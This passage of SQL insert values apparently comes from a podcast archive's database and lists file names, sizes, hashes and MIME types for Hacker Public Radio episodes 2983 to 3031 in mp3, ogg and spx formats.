(2983,'hpr2983.ogg','ogg',5585570,'86a2b6fe67c8fb20c5e06a6f97d09f21aa7b5937','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2983,'hpr2983.spx','spx',2276165,'95f4000aeb5a7a933c8d6d803bc0db6be2d47324','application/ogg; charset=binary','Ogg data, Speex audio'),
(2984,'hpr2984.mp3','mp3',4791647,'1e47fc4b9b2093a1df27c888c185b13771f3abaa','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2984,'hpr2984.ogg','ogg',4797324,'87eec542cd81400352942166d206ac87167d239d','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2984,'hpr2984.spx','spx',2139665,'518bfe610c65b3a50caf7d436e3c71b715df0fc9','application/ogg; charset=binary','Ogg data, Speex audio'),
(2985,'hpr2985.mp3','mp3',9563899,'6179f875f63a923c2dc25680707d0b411d967d60','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2985,'hpr2985.ogg','ogg',10808173,'dda0ec5b3a004152dbbdb24064ece3bc95d6f9ee','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2985,'hpr2985.spx','spx',4271082,'ee06cc43a62f0586c1c04586b61da0ebe795c1b6','application/ogg; charset=binary','Ogg data, Speex audio'),
(2986,'hpr2986.mp3','mp3',12309050,'f1a4a6bea313a06ddfb37ca44147bdcca59efe94','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2986,'hpr2986.ogg','ogg',13707244,'ee823f1aa516e00c77bfc6b3b9dd6a835b107a5f','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2986,'hpr2986.spx','spx',5497081,'07b26a88628c005ecb75be83686df15096a829a7','application/ogg; charset=binary','Ogg data, Speex audio'),
(2987,'hpr2987.mp3','mp3',19194575,'0c67b08ed8dc36c15ddd9af7319dca3ff3c45507','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2987,'hpr2987.ogg','ogg',20659754,'c70c8afe8cf9b3d9191676175f80125aa6b39172','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2987,'hpr2987.spx','spx',8572204,'41b5212be78aad3605124fdf644930c280b28ee4','application/ogg; charset=binary','Ogg data, Speex audio'),
(2988,'hpr2988.mp3','mp3',4501164,'da945d5785a51faea877291f9b8a025473843983','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2988,'hpr2988.ogg','ogg',5112531,'c777a6b5f4b5962b0094e607ab61699606899387','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2988,'hpr2988.spx','spx',2009962,'04df13907ed47b2c872455192de9d7ef068b76ab','application/ogg; charset=binary','Ogg data, Speex audio'),
(2989,'hpr2989.mp3','mp3',82304508,'6d812d24d3379a0978ce7f6fdf5efe3b9b6a26fa','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2989,'hpr2989.ogg','ogg',79589762,'26033af49ff2f4c8fe25e09a9fd27ce27d23f26c','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2989,'hpr2989.spx','spx',36757841,'6099a7ce09dda893f343d5bbe7ed1002de2d7bfc','application/ogg; charset=binary','Ogg data, Speex audio'),
(2990,'hpr2990.mp3','mp3',7665970,'ccf30c9a0d737088318a2cdaefb6df57b09932eb','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2990,'hpr2990.ogg','ogg',8395751,'9536efc7584e707cc9bc9507832dd53f2cf1942d','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2990,'hpr2990.spx','spx',3423477,'db6b872a8a4a23d054be13f5d3f484f72e98beb8','application/ogg; charset=binary','Ogg data, Speex audio'),
(2991,'hpr2991.mp3','mp3',6533470,'fb050675e1723d0415dccfa03550ba1f7386a3ea','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2991,'hpr2991.ogg','ogg',7465359,'8edc151009d4fc111c58750c540d5a2d4ec3ff7a','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2991,'hpr2991.spx','spx',2917588,'268ba831ea4f7d9e63b8efae52f5d01098b09545','application/ogg; charset=binary','Ogg data, Speex audio'),
(2992,'hpr2992.mp3','mp3',18510796,'a2856cf7c12481c2d6b314a40fb5ff6c2cfa07f8','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2992,'hpr2992.ogg','ogg',19401319,'27bdcde51ed150fddb73e4f94c5fdd9dba52247d','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2992,'hpr2992.spx','spx',8266850,'29ff072dc52dd5bdfb7530b0141978c80fd108db','application/ogg; charset=binary','Ogg data, Speex audio'),
(2993,'hpr2993.mp3','mp3',87192585,'efd4bc1283496fa2d542475956c3f98913620e5c','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2993,'hpr2993.ogg','ogg',83594374,'b525e7d1975002113d16e3ae1b12a07d23a9c0f9','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2993,'hpr2993.spx','spx',38940850,'58e2a13c19509b069c3907138da17be98e8bc6f9','application/ogg; charset=binary','Ogg data, Speex audio'),
(2994,'hpr2994.mp3','mp3',10998163,'debca195e74982c45c54f3ff382ff56e449d6268','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2994,'hpr2994.ogg','ogg',11658084,'35fbecc2f21ee2a926a9122f06bcccfc5d754286','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2994,'hpr2994.spx','spx',4911596,'038363c2ee80df6ab240b74678942909925049e7','application/ogg; charset=binary','Ogg data, Speex audio'),
(2995,'hpr2995.mp3','mp3',8906688,'d4a7fe832be05fa336f8193919c92a20dfcfef95','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2995,'hpr2995.ogg','ogg',9893307,'f381d718283a28567c604c9bd4c45cf64ebde0ac','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2995,'hpr2995.spx','spx',3977581,'6d492e46ee857215bff6d73f69e970b955369926','application/ogg; charset=binary','Ogg data, Speex audio'),
(2996,'hpr2996.mp3','mp3',4878587,'d181434418f203920c8f476aa57da00db22fadd8','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2996,'hpr2996.ogg','ogg',5826140,'c3a44f36b7f59e3f50090a378ef97521ca2d7f38','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2996,'hpr2996.spx','spx',2178537,'00a60b8d6bca84e7fd695a2caa3695f098636bf3','application/ogg; charset=binary','Ogg data, Speex audio'),
(2997,'hpr2997.mp3','mp3',10540980,'036ce2410738b06bd897c16ddc96fdbc30f8998e','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2997,'hpr2997.ogg','ogg',11202324,'2cc67ebc41115c582d18ff1151ebf736c166a497','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2997,'hpr2997.spx','spx',4707518,'0c0a726beb8942a7a7fb8770d0aba65673f6b69e','application/ogg; charset=binary','Ogg data, Speex audio'),
(2998,'hpr2998.mp3','mp3',110385512,'6ce3963b2f08e0722db0344034dc5a501632e1fb','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2998,'hpr2998.ogg','ogg',115395827,'98a7b2838a50f271b64f88a7f1a455d5247ea318','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2998,'hpr2998.spx','spx',49299090,'196116ef452fc22e18d274f9acfbef07a8bff78a','application/ogg; charset=binary','Ogg data, Speex audio'),
(2999,'hpr2999.mp3','mp3',11935645,'9a09e862744f39005a63ca2901e98fc5054f1ce8','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2999,'hpr2999.ogg','ogg',13685065,'ad02eb91327c22c4cf4601209c611a2951a29397','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2999,'hpr2999.spx','spx',5330356,'4db3ebe8c972e0cf20843abb8aff9aba7603d327','application/ogg; charset=binary','Ogg data, Speex audio'),
(3000,'hpr3000.mp3','mp3',12630294,'2816aae0b5c5d7459e956beade3b01e6d9177824','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3000,'hpr3000.ogg','ogg',12595064,'d5c9980bd41024c7f093dd65bd55638d2e6fdb0e','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3000,'hpr3000.spx','spx',5640614,'f52640b4a026f884f42655a5096c077f0e579bf1','application/ogg; charset=binary','Ogg data, Speex audio'),
(3001,'hpr3001.mp3','mp3',22420808,'6ba9432f56bfe6eaff9267e043a647eafc0e4310','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3001,'hpr3001.ogg','ogg',21764686,'23434b3b6e1b88a1adb810025bd4e02e68475700','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3001,'hpr3001.spx','spx',10013128,'77d52b2a82b04fb47f6f018871445b46c7de7b65','application/ogg; charset=binary','Ogg data, Speex audio'),
(3002,'hpr3002.mp3','mp3',10427668,'15fbd3711d27683cfff9412c21f539bf3b2558b9','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3002,'hpr3002.ogg','ogg',11873169,'d12cbd6c40fe23fa616463783f95d2064ea8063c','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3002,'hpr3002.spx','spx',4656881,'3b5189566aab5cea7aa168616014f1d1022aeaff','application/ogg; charset=binary','Ogg data, Speex audio'),
(3003,'hpr3003.mp3','mp3',97482285,'5d75974c6b6c12aaf0377310856e3ad173eaa0ec','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3003,'hpr3003.ogg','ogg',101113264,'f3c9db5c3f13cda2450aff92f479782acf40cfbf','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3003,'hpr3003.spx','spx',43536324,'1aef8d3941a77b5f8e11cc88663283d2f5dab151','application/ogg; charset=binary','Ogg data, Speex audio'),
(3004,'hpr3004.mp3','mp3',7629636,'cd3bff68ce552ce59fe099ba2a1fbcc20282ca08','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3004,'hpr3004.ogg','ogg',8256201,'7ebee1e806dd581f153fefe33ffdc3e25c31cc62','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3004,'hpr3004.spx','spx',3407236,'d548942c34298f9974ca5b95ebbc79d665d58ba4','application/ogg; charset=binary','Ogg data, Speex audio'),
(3005,'hpr3005.mp3','mp3',7106571,'e2b0e5914f8ecb0c1d195210b7420c916112cfa6','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3005,'hpr3005.ogg','ogg',7888071,'17ac97a162d0d03448d301b15fda9ea455917f4f','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3005,'hpr3005.spx','spx',3173636,'390ce0b3a31671e23983f6f0868b9a36d6307957','application/ogg; charset=binary','Ogg data, Speex audio'),
(3006,'hpr3006.mp3','mp3',18446836,'d0db3993ab3868a1f9e455ebe92e2dee50b4bdeb','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3006,'hpr3006.ogg','ogg',21081722,'d868b46d4540de75d8303589fa6e014934a669c0','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3006,'hpr3006.spx','spx',8238247,'5ba898b1fad0bfcd1c230ab3fe3c835d5b586fb2','application/ogg; charset=binary','Ogg data, Speex audio'),
(3007,'hpr3007.mp3','mp3',12885431,'8097dd1f3e5d1ad2bb330bf5a664f9dda18d64d8','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3007,'hpr3007.ogg','ogg',14314892,'dbf2839dfc185735b6794cbd49bddebef900a901','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3007,'hpr3007.spx','spx',5754486,'5cdd835b1ce840c9ee5463dbd12acde93b8c0eb0','application/ogg; charset=binary','Ogg data, Speex audio'),
(3008,'hpr3008.mp3','mp3',75722920,'02382909da11465fd2d7dd14b03bdea5265f8484','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3008,'hpr3008.ogg','ogg',74570076,'bbe850c3ae30fe7eff46f7f86a45faa6d7f5e38a','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3008,'hpr3008.spx','spx',33818381,'73a383813d9f7d965cebcf073a730f0bc390c917','application/ogg; charset=binary','Ogg data, Speex audio'),
(3009,'hpr3009.mp3','mp3',29781036,'debba62bbcb74d7aa1387826d4ba0aa46068c073','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3009,'hpr3009.ogg','ogg',31203401,'6dad22412a922cf8b5f6c0ee718f8d29cd7790f9','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3009,'hpr3009.spx','spx',13300297,'c227e347793f0b76459ee4d9cda125d3e155ff6a','application/ogg; charset=binary','Ogg data, Speex audio'),
(3010,'hpr3010.mp3','mp3',14267412,'c6c5e44071f6ca1b81aaa3311efb58f159bfe7ab','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3010,'hpr3010.ogg','ogg',16040183,'5d976acf555c550e41443a780bab078ff5c8b05e','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3010,'hpr3010.spx','spx',6371752,'0c9d543f9f576f7aed5c3be6bf391f06aa95acd2','application/ogg; charset=binary','Ogg data, Speex audio'),
(3011,'hpr3011.mp3','mp3',10996916,'5e582a46ae8fb5741cdca17978afb04b32107813','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3011,'hpr3011.ogg','ogg',12559944,'73637c9fbbcdda0bae77595c424df11e68c7d56f','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3011,'hpr3011.spx','spx',4911035,'6fe31bf1adf790b932d8121bf7262bf3c2f1a0b3','application/ogg; charset=binary','Ogg data, Speex audio'),
(3012,'hpr3012.mp3','mp3',5323539,'b58c9d281a83094bf5e0e203165db84578beb8e1','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3012,'hpr3012.ogg','ogg',5897256,'7fcb544801211106e29b7ee48131eafa418ddfbe','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3012,'hpr3012.spx','spx',2377291,'03584aadbf6a2d1df00b63e7c186a5491056542f','application/ogg; charset=binary','Ogg data, Speex audio'),
(3013,'hpr3013.mp3','mp3',21141146,'8a06da4bd4fd9c4969fd5b40031558ad4a7c2eda','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3013,'hpr3013.ogg','ogg',22923786,'ea8e1f0ee26e516f138b23875da0fbf014e389db','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3013,'hpr3013.spx','spx',9441545,'b31a43be5d112375e68f872738020378ea01f2eb','application/ogg; charset=binary','Ogg data, Speex audio'),
(3014,'hpr3014.mp3','mp3',9707726,'d3a64696b2e8c36e9e8d73bc835b6a2120e96c39','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3014,'hpr3014.ogg','ogg',11571450,'62d7b4ce88121abfd2e36a11517bef1d0abfa035','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3014,'hpr3014.spx','spx',4335321,'49f366ece7cb979b0e2e9c16f08a66315b2b774a','application/ogg; charset=binary','Ogg data, Speex audio'),
(3015,'hpr3015.mp3','mp3',4717713,'2940993fdeff829933aa89918b63a9bee32dddc5','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3015,'hpr3015.ogg','ogg',5248476,'a863c096e9f60e676497b5a1f88840ff58ee92cd','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3015,'hpr3015.spx','spx',2106763,'1120ba60d5b37fcffee724b10669e60d6a8ea64c','application/ogg; charset=binary','Ogg data, Speex audio'),
(3016,'hpr3016.mp3','mp3',8156232,'613ad685e75bff7d06452cad8a4616707c5f8bd3','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3016,'hpr3016.ogg','ogg',9451065,'dcc2e2f876edca8ceb9ec2d208cf3129b7265df8','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3016,'hpr3016.spx','spx',3642350,'b4ad724db6f9f6063a4951f39289c56986bb36ac','application/ogg; charset=binary','Ogg data, Speex audio'),
(3017,'hpr3017.mp3','mp3',21519044,'cd73409aa735337a623a9dcb0d9366dfb18aeb93','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3017,'hpr3017.ogg','ogg',24465434,'b8ec76250b566a87ccaa67cf4b9bb307e600fd4f','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3017,'hpr3017.spx','spx',9610390,'6f0084b3d6f1d85ec2fc90d926195f150c5c43d6','application/ogg; charset=binary','Ogg data, Speex audio'),
(3018,'hpr3018.mp3','mp3',10235577,'bd57d86303f0177963916d4a01476015ea7a3d54','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3018,'hpr3018.ogg','ogg',11482545,'090900b50f3b30ff159e0583355b48bf6506e7cb','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3018,'hpr3018.spx','spx',4571102,'f16c1ba701a4a437dab2ddf898d70ea7fe65264f','application/ogg; charset=binary','Ogg data, Speex audio'),
(3019,'hpr3019.mp3','mp3',32636346,'b0e2ae3818d83d3ed75ff5abe5e076d949acd74e','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3019,'hpr3019.ogg','ogg',33426961,'71aaccef055b1b0404a1271327438f2d55a59b84','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3019,'hpr3019.spx','spx',14575565,'ec9431a62da340ffb8423ebd522c89f6c7588509','application/ogg; charset=binary','Ogg data, Speex audio'),
(3020,'hpr3020.mp3','mp3',13199137,'ab96c0369338d6669b5ddcee54d3c003ce7fcbc5','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3020,'hpr3020.ogg','ogg',12865130,'ac1642d7e59ad54b82ac564f7884e8a816a0aaf9','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3020,'hpr3020.spx','spx',5894662,'bc3b4b7017affc257813ab11208778ae32d20930','application/ogg; charset=binary','Ogg data, Speex audio'),
(3021,'hpr3021.mp3','mp3',27411039,'0638f388b9db1717b9ec160aad1c3ee57a977e41','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3021,'hpr3021.ogg','ogg',26478258,'8ce1a720a04750f3777ed0443345fc78eb277294','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3021,'hpr3021.spx','spx',12241766,'5456ec95a984c165cab732ffc78cabc5852011b6','application/ogg; charset=binary','Ogg data, Speex audio'),
(3022,'hpr3022.mp3','mp3',45817691,'e57fa97c6011e078fa3ceb52dd2594e9478ccf51','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3022,'hpr3022.ogg','ogg',48981238,'94cc34e90ea138315963662aa393eb301861fd6c','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3022,'hpr3022.spx','spx',20462408,'d82bc41c6f42be031cbaba65893700b935c2bc83','application/ogg; charset=binary','Ogg data, Speex audio'),
(3023,'hpr3023.mp3','mp3',7430893,'fbdcb56cbee8c557666ede0660cb617ca35454ce','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3023,'hpr3023.ogg','ogg',8485513,'91fafbc8153c7c92644bbabe73cae1f340f73ae1','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3023,'hpr3023.spx','spx',3318457,'45e7487252b5aba444e162190735f62df50b8fb7','application/ogg; charset=binary','Ogg data, Speex audio'),
(3024,'hpr3024.mp3','mp3',3215120,'def9bdaaba5f96c0a3dfb35f72cd1cb3f55e98f6','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3024,'hpr3024.ogg','ogg',3231910,'d394ff9d58d2df2c4822a0570827cbc4d230af01','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3024,'hpr3024.spx','spx',1435679,'27f64da3f73d1da0656d9c6a7de24361922da27b','application/ogg; charset=binary','Ogg data, Speex audio'),
(3025,'hpr3025.mp3','mp3',8258889,'61dacf26b9caa1899b7319ce59cb89bf3f703248','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3025,'hpr3025.ogg','ogg',9251651,'ab97039e14b5637e00872d73e550d43ab2515e66','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3025,'hpr3025.spx','spx',3688206,'cbe71ca9d57be64695ce29abd866539e2f1a3f07','application/ogg; charset=binary','Ogg data, Speex audio'),
(3026,'hpr3026.mp3','mp3',10098467,'60912dd907567ecb6af971fee901bd4d3de81216','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3026,'hpr3026.ogg','ogg',12430788,'19f89ab130dff6c513601e8beba6ddcc76696b82','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3026,'hpr3026.spx','spx',4509831,'b9afa6fa6d0177faf4e7c0192db334e3676bd2b8','application/ogg; charset=binary','Ogg data, Speex audio'),
(3027,'hpr3027.mp3','mp3',13324154,'67f54f60c2b8cdc40212d129c6c1766f6a0629b7','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3027,'hpr3027.ogg','ogg',14362146,'f31ecdef0a5211beb5b9951a82088c7135bd427a','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3027,'hpr3027.spx','spx',5950512,'ba53c7cbe8e7ab27c5edd28e61637a58bbb94d11','application/ogg; charset=binary','Ogg data, Speex audio'),
(3028,'hpr3028.mp3','mp3',11393970,'3251ee7990c70ebb4fc37eac97f5e324ee478577','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3028,'hpr3028.ogg','ogg',10937694,'4d7ba525ffbeff6e21c5408d6ce1b461a5819121','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3028,'hpr3028.spx','spx',5088384,'3a755f55fbe01f6460991961b8b06ee5396b1d5b','application/ogg; charset=binary','Ogg data, Speex audio'),
(3029,'hpr3029.mp3','mp3',3958472,'98702f92f9cabf9f03694fcf9323b5b13ce6724f','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3029,'hpr3029.ogg','ogg',3954187,'7ac047faa7a7080e908c96ec37bf51a18257451a','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3029,'hpr3029.spx','spx',1767619,'b371a1b4281b170867829e910f94ef02ad9d5aa3','application/ogg; charset=binary','Ogg data, Speex audio'),
(3030,'hpr3030.mp3','mp3',14644420,'47cfad91acee3398c1695b5cedc0848e4fa8c71d','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3030,'hpr3030.ogg','ogg',15950090,'5b2b675caf409a609d6cc4ad78ed39debd7e6749','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3030,'hpr3030.spx','spx',6540045,'5b2cec81bfa67ee535b4605999e729ce964dec02','application/ogg; charset=binary','Ogg data, Speex audio'),
(3031,'hpr3031.mp3','mp3',9414094,'0063c0f21bf5f1b5dbc3285634250bc2d7c82b48','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
